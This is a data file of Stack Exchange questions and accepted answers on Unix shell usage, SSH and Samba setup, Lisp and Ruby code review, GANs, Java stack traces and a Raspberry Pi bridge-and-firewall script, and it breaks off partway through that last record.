{  "id": "_unix.312782"  , "question": "I want to use this terminal theme on Linux Mint 18 Sarah Cinnamon 64-bit.https://github.com/ahmetsulek/flat-terminalWhen you open the flat.terminal on OSX it opens up a bash terminal with that theme. In Linux it opens in Firefox showing the code. Is there a way to make this work on Linux?"  , "title": "Flat UI terminal, works on OSX not on Linux"  , "tags": "linux;terminal;theme"  , "accepted_answer": "short: nolong: you could translate the file, but it happens to work as described on OSX because (a) the file-suffix tells OSX what it is and (b) the file-contents are an exported theme for OSX Terminal.  For reference, this is the beginning of the file:<?xml version=1.0 encoding=UTF-8?><!DOCTYPE plist PUBLIC -//Apple//DTD PLIST 1.0//EN http://www.apple.com/DTDs/PropertyList-1.0.dtd><plist version=1.0><dict>    <key>ANSIBlackColor</key>    <data>    YnBsaXN0MDDUAQIDBAUGFRZYJHZlcnNpb25YJG9iamVjdHNZJGFyY2hpdmVyVCR0b3AS    AAGGoKMHCA9VJG51bGzTCQoLDA0OVU5TUkdCXE5TQ29sb3JTcGFjZVYkY2xhc3NPECYw    LjE4MDM5MjE2MSAwLjIzOTIxNTcwMTggMC4zMTc2NDcwNjk3ABACgALSEBESE1okY2xh    c3NuYW1lWCRjbGFzc2VzV05TQ29sb3KiEhRYTlNPYmplY3RfEA9OU0tleWVkQXJjaGl2    ZXLRFxhUcm9vdIABCBEaIy0yNztBSE5bYouNj5SfqLCzvM7R1gAAAAAAAAEBAAAAAAAA    ABkAAAAAAAAAAAAAAAAAAADYFor any other system, the theme would not work (without preparation) because the settings mean something only to the program(s) which read it and know what it is."  } 
{  "id": "_unix.13573"  , "question": "To create a tar file for a directory, the tar command with compress, verbose and file options can be typed thus:$ tar -cvf my.tar my_directory/But it also works to do it this way: $ tar cvf my.tar my_directory/That is, without the dash (-) preceding the options. Why would you ever pass a dash (-) to the option list?"  , "title": "Why use superflous dash (-) to pass option flags to tar?"  , "tags": "utilities;tar"  , "accepted_answer": "There are several different patterns for options that have been used historically in UNIX applications.  Several old ones, like tar, use a positional scheme:command options argumentsas for example tar usestar *something*f file operated on *paths of files to manipulate*In a first attempt to avoid the confusion, tar and a few other programs with the old flags-arguments style allowed delimiting the flags with dashes, but most of us old guys simply ignored that.Some other commands have a more complicated command line syntax, like dd(1) which uses flags, equal signs, pathnames, arguments and a partridge in a pear tree, all with wild abandon.In BSD and later versions of unix, this had more or less converged to single-character flags marked with '-', but this began to present a couple of problems:the flags could be hard to remembersometimes you actually wanted to use a name with '-'and especially with GNU tools, there began to be limitations imposed by the number of possible flags.  So GNU tools added GNU long options like --output.Then Sun decided that the extra '-' was redundant and started using long-style flags with single '-'s.And that's how it came to be the mess it is now."  } 
{  "id": "_cs.32972"  , "question": "In literature, one can find many approximation algorithms for the multicommodity min cost flow problem or other variants of the standard single-commodity min cost flow problem. But are there FPTASs for the min cost flow problem?Possibly, there is no need for an FPTAS here since an optimal solution can be computed very fast (using double scaling or the enhanced capacity scaling algorithm, for example). But from a theoretical point of view, this would be interesting to know."  , "title": "Are there FPTASs for the min cost flow problem?"  , "tags": "algorithms;approximation;polynomial time;network flow"  } 
{  "id": "_unix.126931"  , "question": "We have two lists. A bigger A: A=`echo -e '1\\n2\\n3\\n4\\n5'`echo $A12345and a smaller B: B=`echo -e '1\\n2\\n3'`echo $B123Q: But we need a third list that contains all the elements of A, but doesn't have any of B, how do I do it in bash?echo $C45The numbers could be anything, from foo to 99, etc..UPDATE: It's working in the shell by hand, but it's strange because if I put it in a script, it doesn't works!cat a.txt A=$(seq 5)B=$(seq 3)comm -23 <(sort <<< $A) <(sort <<< $B)sh a.txt a.txt: line 3: syntax error near unexpected token `('a.txt: line 3: `comm -23 <(sort <<< $A) <(sort <<< $B)'doing it by hand it works..: A=$(seq 5)B=$(seq 3)comm -23 <(sort <<< $A) <(sort <<< $B)45Why? update on update: Need to use bash instead of sh :D"  , "title": "We need a C list that contains all the elements of A, but doesn't have any of B"  , "tags": "text processing"  , "accepted_answer": "The comm command is what you need:$ A=$(seq 5)$ B=$(seq 3)$ comm -23 <(sort <<< $A) <(sort <<< $B)45Here's a method that does not require the input to be sorted. This is a common idiom in awk that reads the first file into memory, and then does some filtering on the 2nd file based on the 1st. Let's try with randomized data$ A=$(seq 5 | sort -R); echo $A35124$ B=$(seq 3 | sort -R); echo $B213We expect the output to be 5 then 4:$ awk 'NR==FNR {b[$1]=1; next} !($1 in b) {print}' <(echo $B) <(echo $A)54"  } 
{  "id": "_codereview.135435"  , "question": "I'm having a bit of trouble trying to find a more Rubyist way to achieve the following. Essentially, I want to try and iterate over every element e and apply e.method(n) for every \\$n \\in \\text{array}\\$, \\$n \\ne e\\$. In order to determine whether or not \\$n = e\\$, I'll have to use an index comparison (really just test for reference equality as opposed to functional equality).arr = [413, 321, 654, 23, 11](0...arr.length).each do |outer_i|    (0...arr.length).each do |inner_i|        next if outer_i == inner_i        arr[outer_i].apply arr[inner_i]    endendThis reeks of Java/C++ and I can tell that this is not the Ruby way, but I can't seem to find an alternative. Any ideas to improve its Ruby-ness? I was thinking of Array#product but I'm not sure where to go from there."  , "title": "Nesting loops on same array but skipping same element"  , "tags": "ruby"  , "accepted_answer": "Note that you are just doing a permutation of two elements from a set, and there is an abstraction in the core for that, Array#permutation(n):arr.permutation(2).each { |x, y| x.apply(y) }"  } 
{  "id": "_unix.200157"  , "question": "I am trying to set up public key access to a couple of machines that I have a user account on.What I did:I used ssh-keygen to generate a key pair (without a passphrase) on my personal computer that I use to access the two machines in question.I appended the id_rsa.pub file thus created to the ~/.ssh/authorized_keys on both machines.This setup works fine and lets me SSH onto one machine. For the other machine, though, it still prompts me for my password. I tried using ssh -vvv and here are the relevant lines of output:debug1: Offering public key: /xxxx/xxxxx/.ssh/id_rsadebug3: send_pubkey_testdebug2: we sent a publickey packet, wait for replydebug1: Authentications that can continue: publickey,gssapi-keyex,gssapi-with-mic,passworddebug1: Trying private key: /xxxx/xxxx/.ssh/id_dsadebug3: no such identity: /xxxx/xxxx/.ssh/id_dsadebug2: we did not send a packet, disable methoddebug3: authmethod_lookup passworddebug3: remaining preferred: ,passwordI'm then prompted for my password and I can use it to log in normally.It's the same account on both machines, exported via an NIS map. The machine where authentication succeeds is the NIS server and the other one is the client. My home directories on both machines are not the same (no NFS mount or the like). These are the only differences I can think of that set the two machines apart.What can be going wrong here?"  , "title": "SSH key works on NIS server, fails on NIS client"  , "tags": "ssh;nis"  , "accepted_answer": "Make sure you put the private key on both systems (you don't mention that explicitly).Check permissions of your home directory, directories leading to your home directory, your .ssh directory and finally the private key file and authorized_keys. Nothing should be writeable by non-root outside your home dir. This is a check done by the ssh daemon, as too open permissions could mean that a third party places his own public key in your authorized_keys file, and using that can gain your privileges.As you have a system that's working you can compare the permissions / ownership with the non-working one."  } 
{  "id": "_unix.256208"  , "question": "I'd like to do this, on OSX:alias rm=rm -IIn GNU rm, this means that rm will prompt if it's recursive or if it's deleting three or more files, but not if it's just deleting one or two files. However, OSX (Mavericks) rm doesn't support this.Is there a workaround so that rm will prompt, once, when deleting several files, but won't prompt for single files, or for every single file in mass deletes?"  , "title": "Workaround for missing rm -I option on OSX?"  , "tags": "bash;osx;rm"  } 
{  "id": "_webapps.106027"  , "question": "I'm trying to accomplish the below input and output in Google Sheets.I was actually able to find a partial solution on Stack Exchange.This is the script I pulled, but it only functions on one column, whereas I need to function on two at the same time:function result(range) {  delimiter = ,   targetColumn = 1  var output2 = [];  for(var i=0, iLen=range.length; i<iLen; i++) {    var s = range[i][targetColumn].split(delimiter);        for(var j=0, jLen=s.length; j<jLen; j++) {      var output1 = [];       for(var k=0, kLen=range[0].length; k<kLen; k++) {        if(k == targetColumn) {          output1.push(s[j]);        } else {          output1.push(range[i][k]);        }      }      output2.push(output1);    }      }  return output2;}"  , "title": "Split comma separated cell data into rows while keeping surrounding row data"  , "tags": "google spreadsheets;google apps script"  , "accepted_answer": "I believe this will work for you:function myFunction(range) {    delimiter = , ;    targetColumn = 1;    targetColumn2 = 2;    var output2 = [];    for(var i=0, iLen=range.length; i<iLen; i++) {        var s = range[i][targetColumn].split(delimiter);            var s2 = range[i][targetColumn2].split(delimiter);        for(var j=0, jLen=s.length; j<jLen; j++) {           var output1 = [];            for(var k=0, kLen=range[0].length; k<kLen; k++) {           if(k == targetColumn) {              output1.push(s[j]);           }            else if (k == targetColumn2) {               output1.push(s2[j]);           } else {                output1.push(range[i][k]);           }        }        output2.push(output1);      }      }    return output2;  }The other option would be to more or less run your own function twice. Create another copy of it, this time setting targetColumn = 2. Run the first function on the cells you have, and then run the second function on what the first function returns."  } 
{  "id": "_unix.264819"  , "question": "I have a batch file that runs a command, and one of those commands requires you to type in yes and hit enter.Is there any way that the batch file can do this?"  , "title": "How to make a batch file answer a user prompt"  , "tags": "batch jobs"  } 
{  "id": "_unix.26161"  , "question": "I have 1000 gzipped files which I want to sort.Doing this sequentially, the procedure looks pretty straightforward:find . -name *.gz -exec zcat {} | sort > {}.txt \\;Not sure that the code above works (please correct me if I did a mistake somewhere), but I hope you understand the idea.Anyway, I'd like to parallelize ungzip/sort jobs in order to make the whole thing faster. Also, I don't want to see all 1000 processes running simultaneously. It would be great to have some bounded job queue (like BlockingQueue in Java or BlockingCollection in .NET) with configurable capacity. In this case, only, say, 10 processes will run in parallel.Is it possible to do this in shell?"  , "title": "How to create a bounded queue for shell tasks?"  , "tags": "shell;command line;parallel"  , "accepted_answer": "A quick trip to Google reveals this interesting approach: http://pebblesinthesand.wordpress.com/2008/05/22/a-srcipt-for-running-processes-in-parallel-in-bash/"  } 
{  "id": "_reverseengineering.16088"  , "question": "I have some data from a game which appears to possibly contain a checksum or CRC implementation. The game has different arenas with a share link for each team in the arena (and there are 4 teams). The game is web-based and I believe the link is calculated & verified on the server, not the game client.Here's some sample data from two arenas (spaces added for clarity):D2835718 BB30 C602 E874D2835718 BB30 D602 DB5FD2835718 BB30 E602 1AE8D2835718 BB30 F602 D231D202FA10 BB30 48B0 4B56D202FA10 BB30 58B0 08CAD202FA10 BB30 68B0 48FCD202FA10 BB30 78B0 3656The first 8 characters refer to the arena; the next 4 seem to be some sort of constant or padding (it's always BB30), and the next 4 characters signify the team. I'm assuming that the last 4 characters are a checksum of some kind to verify the integrity of the link.How would I go about reverse engineering the process used to calculate the checksum?"  , "title": "Determining checksum parameters"  , "tags": "deobfuscation;crc"  } 
{  "id": "_unix.103415"  , "question": "I mounted a samba share using the smbmount command: $ sudo smbmount \\\\\\\\foo\\\\bar /mnt/bar -o user=tomWhen I create new files, they get created with the executable bit set for owner, group and world. For e.g. $ touch hello.txt $ ls -la hello.txt-rwxr-xr-x 1 root root 0 Dec  2 12:28 hello.txtThe same file when created on a NFS mounted share sets up correct permissions without any executable bit set. Why is this happening? How can it be fixed? "  , "title": "Why are files in a smbfs mounted share created with executable bit set?"  , "tags": "permissions;cifs"  , "accepted_answer": "NFS was invented in the Unix world and so understands traditional Unix permissions out of the box. (The ACL of modern unix systems are another matter, but recent implementations of NFS should cope with them.)Samba was invented in the IBM/Microsoft PC world, to exchange files with systems that had no permissions beyond read-only/read-write. It is now native to Windows. By default, Samba does not transmit Unix permissions. Depending on the configuration, either all files are marked executable (which is annoying) or all files (except directories) are marked non-executable (which is annoying).There are various extensions to the Samba/CIFS protocol that make it more suited for Unix use. Try enabling Unix extensions in the server configuration:[global]unix extensions = yes"  } 
{  "id": "_cs.14749"  , "question": "Assembly language is converted in to machine language by assembler. Why would a compiler convert high-level language to assembly? Can't it directly convert from the high-level language to machine code?"  , "title": "Why do compilers produce assembly code?"  , "tags": "compilers;code generation"  , "accepted_answer": "Other reason for compilers to produce assembly rather than proper machine code are:The symbolic addresses used by assemblers instead of hard-coding machine addresses make code relocation much easier.Linking code may involve safety checks such as type-checking, and that's easier to do with symbolic names.Small changes in machine code are easier to accomodate by changing the assembler rather than the code generator."  } 
{  "id": "_unix.73123"  , "question": "I've installed latest firefox linux-x86_64 from ftp.mozilla.com on a usb device and created a new profile file with the -P command. Unfortunately, the application does not recognize the flash plugin that is already installed on the operating system.How can I enable the flash plugin on the portable version?"  , "title": "Portable Firefox Linux"  , "tags": "linux;firefox;adobe flash"  , "accepted_answer": "How to Use Mozilla Firefox, Portable with flash pluginMake your firefox portable for Linux (all versions):Download the latest release of Firefox and unpack it on your usb device: http://ftp.mozilla.org/pub/mozilla.org/firefox/releases/Go to unpack_directory/firefox/browser/plugins (firefox 22+).Add a short link to your installed flash-plugin binary (libflasplayer.so). It's usually in /usr/lib64/flash-plugin/. Optionally: Download the UNIX version of the flash-plugin binary from adobe.com and copy it from the archive. Please remember: the flash-plugin is a binary file, no compilation process is needed!1. Copy the firefox directory to your portable device2. Create a simple shortcut:Here's my startup.sh that I have placed on my usb device ($PWD is the current directory (example:  USB_DEVICE/firefox_x64).#!/bin/sh$PWD/firefox_x64/firefox -no-remote -profile$PWD/../.mozilla/firefox/YOUR_PROFILE_ID3. Run firefox with command line to create a new profile:You can create a new profile with the -P command as shown below.I've created my profile inside USB_DEVICE/.mozilla/firefox. You can set this path later. This is Mozilla's default folder skeletton for application settings (like seamonkey, thunderbird or B2G). To create a new profile run:[user@home]# cd /USB_DEVICE/firefox_x64[user@home firefox_x64]# ./firefox -no-remote -PFAQ: How to use the new USB profile with windows:For Windows just use the Portable Firefox from portableapps.com and run the same commands (step no. 3, simply add the -profile command to the executable .exe)."  } 
{  "id": "_codereview.77150"  , "question": "I've been programming Clojure for a little while and recently started learning Common Lisp. One of my favorite things about Clojure is the threading operator ->, which greatly simplifies long chains of nested function calls. Naturally I wanted to have this in Common Lisp.I found an implementation here:(defmacro -> (x &rest args)  (destructuring-bind (form &rest more)      args    (cond      (more `(-> (-> ,x ,form) ,@more))      ((and (consp form)            (or (eq (car form) 'lambda)                (eq (car form) 'function)))       `(funcall ,form ,x))      ((consp form) `(,(car form) ,x ,@(cdr form)))      (form `(,form ,x))      (t x))))This uses a recursive macro expansion; I've read that it's better to use iteration over recursion in CL when you can, so I wrote my own version:(defmacro -> (x &rest forms)  (labels ((expand-form (x form)             (if (consp form)                 (if (or (eq (car form) 'lambda)                         (eq (car form) 'function))                     `(funcall ,form ,x)                     `(,(car form) ,x ,@(cdr form)))                 `(,form ,x))))    (do ((forms forms (cdr forms))         (x x (expand-form x (car forms))))        ((not forms) x))))I'm relatively new to Lisp so I don't know how to judge which way is better. Any comments, suggestions?EDIT: I knew something was fishy! You don't have to use any looping constructs at all, a plain old reduce will cut it:(defmacro -> (x &rest forms)  (flet ((expand-form (x form)           (cond             ((atom form)              `(,form ,x))             ((member (car form) '(lambda function))              `(funcall ,form ,x))             (t              `(,(car form) ,x ,@(cdr form))))))    (reduce #'expand-form forms :initial-value x)))"  , "title": "Recursion vs. iteration in Lisp macro"  , "tags": "beginner;lisp;common lisp"  , "accepted_answer": "I wouldn't be so focused on iteration vs. recursion; use what isnecessary and convenient.  For macros in general you should care aboutclarity of the macro and the generated code, performance of the macrocode itself comes way last in general.Now to add only two things to the discussion, using DO is notparticularly common because in most cases there are better options;personally I always have to look up the meaning of all the clauses ofDO, which is why I am not a fan of it.  The other thing is to useCOND to be a bit more concise if your IF clauses allow for it.Since you now already have a good version of the first solution, thefollowing would be a way to do those things for the iterative solution:(defmacro -> (x &rest forms)  (flet ((expand-form (x form)           (cond             ((atom form)              `(,form ,x))             ((member (car form) '(lambda function))              `(funcall ,form ,x))             (T `(,(car form) ,x ,@(cdr form))))))    (loop      for form in forms      for y = (expand-form x form)        then (expand-form y form)      finally (return y))))Note that I've switched (not (consp x)) to (atom x); now the LOOP isless concise then the DO, but I'd argue that it's more obvious what ishappening with it, YMMV."  } 
{  "id": "_datascience.22070"  , "question": "What I know so far in DCGAN is that a discriminator is trained using the labeled data (so maybe that occurs before training the generative model). Also, I know that there is race between the generator and the discriminator, so maybe training occur online. So I have some concerns here:How many outputs the discriminator should have (Is it one output that describes the probability, ex: P(x))?How do we chose its output when feeding fake data vs. real data?Is the discriminator trained before using it with the DCGAN or the training is done online (It is mentioned in the Original Paper: Generative Adversarial Nets https://arxiv.org/pdf/1406.2661.pdf, that the whole network is trained using the back propagation), hence I think its online?Any help is much appreciated!!"  , "title": "Training the Discriminative Model in Generative Adversarial Neural Network"  , "tags": "unsupervised learning;gan"  , "accepted_answer": "In normal GANs, there are no labels, the training is completely unsupervised.The role of the discriminator is to tell apart samples generated by the generator from those taken from the training dataset. The training dataset is just a bunch of images. The discriminator is trained to output 0 for data generated by the generator (i.e. fake data) and 1 for real data (so the discriminator has a single output). This should answer points 1 and 2.The training of discriminator and generator takes place alternatively in a loop: first we train the discriminator, then the generator, then the discriminator again, etc. It is possible (and common) to train the discriminator a few times per each time we train the generator. This should answer point 3.It is also possible to use labels, but not in the way you were suggesting. When labels are used, we have Conditional GANs (https://arxiv.org/abs/1411.1784). In this case, the label is supplied as input to both the generator and the discriminator. The generator has to generate data that is associated to the supplied label. The discriminator has to tell apart fake data from real data, given the label."  } 
{  "id": "_webmaster.91957"  , "question": "I have 3 Wordpress instances of the same site in different languages hosted in different regions - Ireland, Russia and Spain. The 3 sites are code identical - just the content is different.I'm planning to combine them a use a multilingual plugin instead and redirect the .ru and .es versions to the .ie site. I'm wondering:Is this a good idea? Are any multilingual plugins good enough?Is an search engine penalty likely?Do search engine rankings rank much better if each site ishosted in the respective country? e.g. .ru is hosted in Russia andnot Ireland. My main concern is a bit hit on the search rankings."  , "title": "Multiple domains & one installation - SEO penalty?"  , "tags": "seo;multilingual"  } 
{  "id": "_unix.242861"  , "question": "I have Debian 8.2 installed on a VirtualBox VM and I added the unstable (sid) repository to /etc/apt/sources.list without removing any other repositories and afterwards I ran apt-get update && apt-get upgrade && apt-get autoremove. Before this, I had Plasma 4 installed, I was hoping that adding this repository would give me Plasma 5, but instead I have no Plasma desktop installed at all, or so it seems. Whenever I run:apt-get install kde-fullI get the error:The following packages have unmet dependencies: kde-full : Depends: kde-plasma-desktop (>= 5:84) but it is not going to be installed            Depends: kde-plasma-netbook (>= 5:84) but it is not going to be installed            Depends: kdeartwork (>= 4:4.11.3) but it is not going to be installed            Depends: kdenetwork (>= 4:4.11.3) but it is not going to be installed            Depends: kdeutils (>= 4:4.11.3) but it is not going to be installed            Depends: kdepim (>= 4:4.11.3) but it is not going to be installed            Depends: kdeplasma-addons (>= 4:4.11.3) but it is not going to be installed            Recommends: kde-standard (>= 5:84) but it is not going to be installed            Recommends: kdewebdev (>= 4:4.11.3) but it is not going to be installedE: Unable to correct problems, you have held broken packages.whenever I try to install specific Plasma components using apt-get install like by running apt-get install kde-plasma-desktop I get similar errors, with the exact same final line (i.e., E: Unable to correct problems, you have held broken packages.).TroubleshootingAs far as troubleshooting goes, I have Googled E: Unable to correct problems, you have held broken packages. and found the questions Fix held broken packages on debian? and E: Unable to correct problems, you have held broken packages and tried:apt-get install -f kde-fullwhich returned the same error as running without the -f option. I also ran apt-get -f install and it just returned:Reading package lists... DoneBuilding dependency tree       Reading state information... Done0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.I have also tried running:aptitude why-not kde-fullandaptitude why-not kde-plasma-desktopand both returned:Unable to find a reason to remove ...where ... is the package name provided after aptitude why-not. While apt-mark showhold returned no output whatsoever. "  , "title": "Broken KDE Plasma desktop after adding sid repository under Debian"  , "tags": "debian;apt;plasma"  } 
{  "id": "_codereview.26445"  , "question": "I want to run a background job on my web server to do some database maintenance. I am looking at using APScheduler to do this.I am planning on running the below code in a separate process to my main web server. I don't really want to tie the code to my web server.Question: Is using While True pass at the end of a cron-like scheduler considered bad practice? How should it be done? (time.sleep()?)from apscheduler.scheduler import Scheduler@sched.interval_schedule(days=1)def tick():    # do a clean up jobwhile True:    pass"  , "title": "Leaving an APScheduler in a while True loop"  , "tags": "python"  , "accepted_answer": "while True: pass will consume 100 % of one CPU which is not something you want. I'm not familiar with APScheduler, but a quick look into the docs reveals a daemonic option:Controls whether the scheduler thread is daemonic or not.If set to False, then the scheduler must be shut down explicitly when  the program is about to finish, or it will prevent the program from  terminating.If set to True, the scheduler will automatically terminate with the  application, but may cause an exception to be raised on exit."  } 
{  "id": "_unix.353994"  , "question": "I created a shell script which I am running using nohup. This script runs various sql script in sequence but few in parallel also. I have the following statements in my script-echo exit | sqlplus -s ${username}/${pwd}@${DB} @close1.sqlecho exit | sqlplus -s ${username}/${pwd}@${DB} @close2.sqlecho exit | sqlplus -s ${username}/${pwd}@${DB} @insertPricing1.sql &pid1=$!echo exit | sqlplus -s ${username}/${pwd}@${DB} @insertPricing2.sql &pid2=$!echo Pricing Insert PIDs => ${pid1}, ${pid2}while [ `ps -p ${pid1},${pid2} | wc -l` > 1 ]dosleep 5doneecho exit | sqlplus -s ${username}/${pwd}@${DB} @insertPricing3.sqlThe intention is to run close1 -> close2 -> insertPricing1 & insertingPricing2 in parallel -> insertPricing3. where -> means in sequence.When I checked the result the next day (after sufficient time it should have been completed), I saw that the shell script was still running. Pricing1 and Pricing2 were done but Pricing3 didn't start. The processes for 1 and 2 had finished.ps -p 19105,19107  PID TTY          TIME CMDThere is some problem in the while loop as when I run this in  # ps -p 19105,19107 | wc -l1but this-# while [ `ps -p 19105,19107 | wc -l` > 1 ]> do> echo hello> donehellohellohellohellohellohellohellohellohellohellohellohellohellohellohello........ ctrl+Cso why this loop works when 1 is not greater than 1? What should be the solution?"  , "title": "While loop for checking active processes fails"  , "tags": "bash;shell script;ps"  , "accepted_answer": "Thanks to @steeldriver's comment for helping me out. It was a silly mistake from my side. > is considered as redirection operator inside [ ] (or most of the places in a shell script). The standard way to use is -gtFor comparing integers as per the answer in the link--eq  #Is equal-ne  #Is not equal-lt  #Less than-le  #Less than or equal-gt  #Greater than-ge  #Greater than or equal"  } 
{  "id": "_unix.220771"  , "question": "Part of my software issues various commands to open and view different file types. For instance I use atril for PDFs and eom for PNGs.However I have a slight problem with CSV files. I can open them with soffice calc <filepath> but each time it goes through the Import stage.Is there a way I can avoid this, to avoid the risk of users creating issues, as the format is consistent and the only separator I need to include is the comma ,?Thanks in advance."  , "title": "Open CSV File And Go Straight To Spreadsheet"  , "tags": "command line;linux mint;csv;libreoffice"  , "accepted_answer": "A method to skip importing would be to convert the file to a format that can be read without importing - so for instance:soffice --headless --convert-to ods --outdir /tmp tblIssues.csvsoffice --view /tmp/tblIssues.odsrm /tmp/tblIssues.odsThis converts the file tblIssues.csv to a ODS spreadsheet, saves it to /tmp and opens it in Libreoffice. Once it has finished it removes the converted file (optional).The --view option opens the file as read-only, and also hides the GUI elements needed for editing, making LibreOffice more practical as a viewer.You could also use other formats, such as PDF (--convert-to pdf) and then you can use another viewer like atril.Note with I think the libreoffice convert command may use the settings used by the user last in the Importer, so if it is set to use a delimiter other than , it may not work.Also, you can modify the commands to...hide output:COMMAND > /dev/null 2>&1separate from the terminal:COMMAND & disown"  } 
{  "id": "_softwareengineering.241152"  , "question": "I have the following extension method:    public static IEnumerable<T> Apply<T>(        [NotNull] this IEnumerable<T> source,        [NotNull] Action<T> action)        where T : class    {        source.CheckArgumentNull(source);        action.CheckArgumentNull(action);        return source.ApplyIterator(action);    }    private static IEnumerable<T> ApplyIterator<T>(this IEnumerable<T> source, Action<T> action)        where T : class    {        foreach (var item in source)        {            action(item);            yield return item;        }    }It just applies an action to each item of the sequence before returning it.I was wondering if I should apply the Pure attribute (from Resharper annotations) to this method, and I can see arguments for and against it.Pros:strictly speaking, it is pure; just calling it on a sequence doesn't alter the sequence (it returns a new sequence) or make any observable state changecalling it without using the result is clearly a mistake, since it has no effect unless the sequence is enumerated, so I'd like Resharper to warn me if I do that.Cons:even though the Apply method itself is pure, enumerating the resulting sequence will make observable state changes (which is the point of the method). For instance, items.Apply(i => i.Count++) will change the values of the items every time it's enumerated. So applying the Pure attribute is probably misleading...What do you think? Should I apply the attribute or not?"  , "title": "Is this method pure?"  , "tags": "c#;pure function"  , "accepted_answer": "No it is not pure, because it has side effect. Concretely it is calling action on each item. Also, it is not threadsafe.The major property of pure functions is that it can be called any number of times and it never does anything else than return same value. Which is not your case. Also, being pure means you don't use anything else than the input parameters. This means it can be called from any thread at any time and not cause any unexpected behavior. Again, that is not case of your function.Also, you might be mistaken on one thing: function purity is not question of pros or cons. Even single doubt, that it can have side effect, is enough to make it not pure.Eric Lippert raises a good point. I'm going to use http://msdn.microsoft.com/en-us/library/dd264808(v=vs.110).aspx as part of my counter-argument. Especially line A pure method is allowed to modify objects that have been created after entry into the pure method.Lets say we create method like this:int Count<T>(IEnumerable<T> e){    var enumerator = e.GetEnumerator();    int count = 0;    while (enumerator.MoveNext()) count ++;    return count;}First, this assumes that GetEnumerator is pure too (I can't really find any source on that). If it is, then according to above rule, we can annotate this method with [Pure], because it only modifies instance that was created within the body itself. After that we can compose this and the ApplyIterator, which should result in pure function, right?Count(ApplyIterator(source, action));No. This composition is not pure, even when both Count and ApplyIterator are pure. But I might be building this argument on wrong premise. I think that the idea that instances created within the method are exempt from the purity rule is either wrong or at least not specific enough."  } 
{  "id": "_codereview.165111"  , "question": "I am just sharing the method that i am using to convert stacktrace to string. This stacktrace is then being used in AWS Lambda to log. There are two things i am mainly concerned aboutprivate String convertStackTrace(Throwable throwable){    StringWriter stringWriter = new StringWriter();    PrintWriter printWriter = new PrintWriter(stringWriter);    String stackTrace;    try {        throwable.printStackTrace(printWriter);        stackTrace = stringWriter.toString();    }    catch(Exception e){        logSelf(Error converting exception. Simple exception message will be logged);        stackTrace = throwable.getMessage();    } finally {        try {            stringWriter.flush();            stringWriter.close();            printWriter.flush();            printWriter.close();        } catch (Exception e){            logSelf(Error closing writers);        }    }    return stackTrace;}Here is logSelf methodprivate void logSelf(String error){    lambdaLogger.log(formatMessage(            this.getClass().getCanonicalName(), LOG_LEVEL_ERROR, error, null)    );}Shall i be opening/closing those printwriters everytime an error is logged?Is it correct way to convert stacktrace to string?"  , "title": "Converting stacktrace to string"  , "tags": "java;logging"  , "accepted_answer": "Yes, you should be opening/closing the printwriters each time.Yes, conceptually it's a decent way to convert the stack trace..... but... there are concerns, and is there a better way?The most significant concern is that, if there's a problem writing to the PrintWriter, the call throwable.printStackTrace(printWriter); will fail, and the method will return a default value. This is not ideal.The reality, though, is that those methods can never fail because the IO is to a StringWriter, and there's no actual IO component. A failure there would be..... inconceivable. None of your exception handling can really happen... it's just not going to fail (the Titanic Logger).The issue is that your code is checking for impossible conditions in a way that's overkill.Still, using some Java 7 semantics, you can use try-with-resource functionality, and get a much more concise method:private static String convertStackTrace(Throwable throwable) {    try (StringWriter sw = new StringWriter();             PrintWriter pw = new PrintWriter(sw)) {        throwable.printStackTrace(pw);        return sw.toString();    } catch (IOException ioe) {        // can never really happen..... convert to unchecked exception        throw new IllegalStateException(ioe);    }}   Note that the method is now static, and it does not need the finally section to clean up.You can see this running in ideone: https://ideone.com/rKj9mT"  } 
{  "id": "_webmaster.55024"  , "question": "My site was hacked about 6 months ago. I managed to finally get around to removing the malicious code, and Google removed the warning from my site. However, my traffic has not yet returned to where it was pre-hack. How long does it usually take for traffic to return after malware is removed?"  , "title": "site hacked but positions not back"  , "tags": "google;domain hacks"  } 
{  "id": "_unix.339687"  , "question": "Premise:I am using a raspberry pi3 as AP.I have added an USB to ethernet adapter and this is the configuration I have:built in eth port as eth0 (WAN)built in wifi interface as wlan0 (LAN, wireless)usb to ethernet adapter as eth1 (LAN, wired)I have bridged successfully wlan0 and eth1 into a bridge, br0.Then I have setup a nat to allow the devices on br0 to connect to the internet.  All of this works.Problem:Now I would like to split the wired LAN, so that there is a virtual network (eth1:0) for trusted devices and another virtual network for less trusted devices (eth1:1).The idea would be to add to br0 only eth1:0.This seems to work, but when I list the bridges, br0 seems to use directly eth1, instead of the virtual interface eth1:0.In fact, if I try to create another bridge (br1) and add the other virtual network (eth1:1), I get an error saying that the interface is already in a bridge.So it seems that a virtual interface cannot be added to a bridge, only its parent.Is this true?Is there some other way to do it?This is the test script I am using:function configure_firewall() {    echo  CONFIGURE FIREWALL START    ####################### FORWARDING #####################    # Enable IP forwarding    echo 1 > /proc/sys/net/ipv4/ip_forward    # Allow forwarding of traffic LAN -> WAN    iptables -A FORWARD -i ${BRIDGE} -o ${WAN} -j ACCEPT    # Allow traffic WAN -> LAN but only as reply to communication initiated from the LAN    iptables -A FORWARD -i ${WAN} -o ${BRIDGE} -m state --state RELATED,ESTABLISHED -j ACCEPT    # Drop anything else    iptables -A FORWARD -j DROP    ####################### MASQUERADING ########################    # Do the nat    iptables -t nat -A POSTROUTING -o ${WAN} -j MASQUERADE    ###################### INPUT #############################    # Allow local connections    iptables -A INPUT -i lo -j ACCEPT    iptables -A INPUT -i ${BRIDGE} -j ACCEPT    iptables -A INPUT -p tcp --dport 22 -i ${WAN} -j ACCEPT    iptables -A INPUT -i ${WAN} -m state --state RELATED,ESTABLISHED -j ACCEPT    iptables -A INPUT -j DROP    ###################### OUTPUT #############################    iptables -A OUTPUT -j ACCEPT    echo  CONFIGURE FIREWALL END}function teardown_bridge() {    echo TEARDOWN BRIDGE START    ifconfig ${BRIDGE} down    brctl delif ${BRIDGE} ${LAN}:0    brctl delif ${BRIDGE} ${WIFI}    brctl delbr ${BRIDGE}    echo TEARDOWN BRIDGE END}function configure_bridge() {    echo CONFIGURE BRIDGE START    brctl addbr ${BRIDGE}    brctl addif ${BRIDGE} ${LAN}:0    brctl addif ${BRIDGE} ${WIFI}    ifconfig ${BRIDGE} up 192.168.10.1 netmask 255.255.255.0 broadcast 192.168.10.0    echo CONFIGURE BRIDGE END}function configure_interfaces() {    echo CONFIGURE INTERFACES START    ifconfig ${LAN} up 0.0.0.1    ifconfig ${LAN}:0 up 0.0.0.2    ifconfig ${LAN}:1 up 0.0.0.3    echo CONFIGURE INTERFACES END}function teardown_interfaces() {    echo TEARDOWN INTERFACES 